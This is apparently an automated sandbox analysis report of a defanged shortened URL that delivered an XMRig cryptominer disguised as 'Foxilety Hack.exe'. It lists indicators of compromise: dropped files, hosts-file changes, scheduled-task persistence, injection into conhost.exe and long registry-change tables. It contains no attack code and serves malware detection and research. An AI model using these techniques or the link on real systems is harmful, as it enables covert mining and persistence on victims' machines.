xmrig | hxxps://bit[.]ly/3wqtWLQ

Analysis

max time kernel
206s
max time network
203s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
24-09-2022 21:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://bit.ly/3wqtWLQ

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1964-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1964-174-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Drops file in Drivers directory 4 IoCs

Processes:

Foxilety Hack.exeupdater.exeFoxilety Hack.exeupdater.exe

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	Foxilety Hack.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe
File created	C:\Windows\system32\drivers\etc\hosts	Foxilety Hack.exe
File created	C:\Windows\system32\drivers\etc\hosts	updater.exe

Executes dropped EXE 4 IoCs

Processes:

Foxilety Hack.exeupdater.exeFoxilety Hack.exeupdater.exe

pid process

732 Foxilety Hack.exe
536 updater.exe
1636 Foxilety Hack.exe
2032 updater.exe

pid	process
732	Foxilety Hack.exe
536	updater.exe
1636	Foxilety Hack.exe
2032	updater.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/1964-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1964-174-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Loads dropped DLL 4 IoCs

Processes:

taskeng.exe

pid process

1284
1284
1576 taskeng.exe
1576 taskeng.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

pid	process
1284
1284
1576	taskeng.exe
1576	taskeng.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 536 set thread context of 1584	536	updater.exe	conhost.exe
PID 536 set thread context of 1964	536	updater.exe	conhost.exe

Drops file in Program Files directory 7 IoCs

Processes:

cmd.execmd.exeFoxilety Hack.exeupdater.execmd.exeFoxilety Hack.exeupdater.exe

description	ioc	process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Foxilety Hack.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File opened for modification	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	Foxilety Hack.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

2028 schtasks.exe
188 schtasks.exe
1912 schtasks.exe
1876 schtasks.exe

pid	process
2028	schtasks.exe
188	schtasks.exe
1912	schtasks.exe
1876	schtasks.exe

Modifies Internet Explorer Phishing Filter 1 TTPs 2 IoCs

Modify Registry

T1112

Processes:

iexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\PhishingFilter	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\PhishingFilter\ClientSupported_MigrationTime = d8f3793b5bd0d801	iexplore.exe

Modifies Internet Explorer settings 1 TTPs 50 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\google.com\NumberOfSubdomains = "1"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total\ = "6"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\drive.google.com\ = "6"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\google.com	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 80f542325bd0d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370819230"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\drive.google.com	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\google.com\Total = "0"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\drive.google.com\ = "0"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\DownloadWindowPlacement = 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4D7D8221-3C4E-11ED-AE24-CE372EDB0509} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\Total	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\DOMStorage\google.com\Total = "6"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000048ca5449a4d21846ba8a995ea0abd35a00000000020000000000106600000001000020000000d31e0853a160fa77d93518ea77d6f107bde02d8dacb433d51203fb8391e0f23f000000000e8000000002000020000000c92870c3b9f8c16221f3b1258f83bb2e65b88c2d581d337bcb4629735f977d702000000072a2a48d8ad4adcef4d38f71b77553a09539142a9201f5abebe8ae078bb595ae40000000e4a0f73e47e4f9b2b43d3c871498796ce3b35caa1134951d24fff3228fc9e3a7a6dbed91ddb6cdfbdbdcbcec93b8b10f78d01d1a8bddc46841f5cd15a81f002f	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000048ca5449a4d21846ba8a995ea0abd35a00000000020000000000106600000001000020000000032d79260b06deaf420f8fe4b0958f9a052d6b7f0689252abd6fe16e37397baf000000000e800000000200002000000006ad5620ba3297cc7f659ca23ac67fec9fec1fc6a75ceb9ad9f673bc51b45d3890000000899663ea3b974d36e45566f9370106b16a3886bdad8da13fb177469925f214cc5b5e5a46fac0a7f904539d70c0dae2b55c8976f662b5cdf2c55656f586440995e198b39cf57d2e904d7a9e274413e01ec090a0796b5082ba8713b92f35a1d38a5110105ec224cd901f656da44191ed688c1fcf20f00a68d0f05c86c59eeac651c263716ec578f43b81380049183f2b734000000066d138a0f94b7a28af1844bcc8d0ef0b90bfbfcaf67b2da9f8fff7ada57ac3bd3b8bb662b6a1674465eb0ddd55f0bec8d23ee68d4262051db3e04bb3b896edbd	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE

Modifies data under HKEY_USERS 8 IoCs

Processes:

powershell.execonhost.exeWMIC.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f0dc6b6b5bd0d801	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry class 64 IoCs

Processes:

rundll32.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 19002f433a5c000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Applications\7zFM.exe\shell\open\command	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file\shell\open	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0 = 4c003100000000002155d16d1000372d5a697000380008000400efbe2155d16d2155d16d2a0000000d03010000000200000000000000000000000000000037002d005a0069007000000014000000	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\SniffedFolderType = "Generic"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Applications\7zFM.exe	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 880031000000000021559872110050524f4752417e310000700008000400efbeee3a851a215598722a0000003c000000000001000000000000000000460000000000500072006f006700720061006d002000460069006c0065007300000040007300680065006c006c00330032002e0064006c006c002c002d0032003100370038003100000018000000	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\.rar	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file\shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Applications\7zFM.exe\shell\open	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file\shell\open\command	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Applications\7zFM.exe\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7zFM.exe\" \"%1\""	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file\	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\.rar\ = "rar_auto_file"	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Applications	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\rar_auto_file\shell\open\command\ = "\"C:\\Program Files\\7-Zip\\7zFM.exe\" \"%1\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\MuiCache	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{57807898-8C4F-4462-BB63-71042380B109}"	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\2\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\NodeSlot = "1"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\NodeSlot = "2"	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	rundll32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	rundll32.exe

Suspicious behavior: EnumeratesProcesses 33 IoCs

Processes:

7zFM.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execonhost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1072	7zFM.exe
404	powershell.exe
2028	powershell.exe
1736	powershell.exe
1468	powershell.exe
1276	powershell.exe
1964	conhost.exe
1964	conhost.exe
1756	powershell.exe
1076	powershell.exe
1964	conhost.exe
1964	conhost.exe
344	powershell.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1932	powershell.exe
1964	conhost.exe
1556	powershell.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
1964	conhost.exe
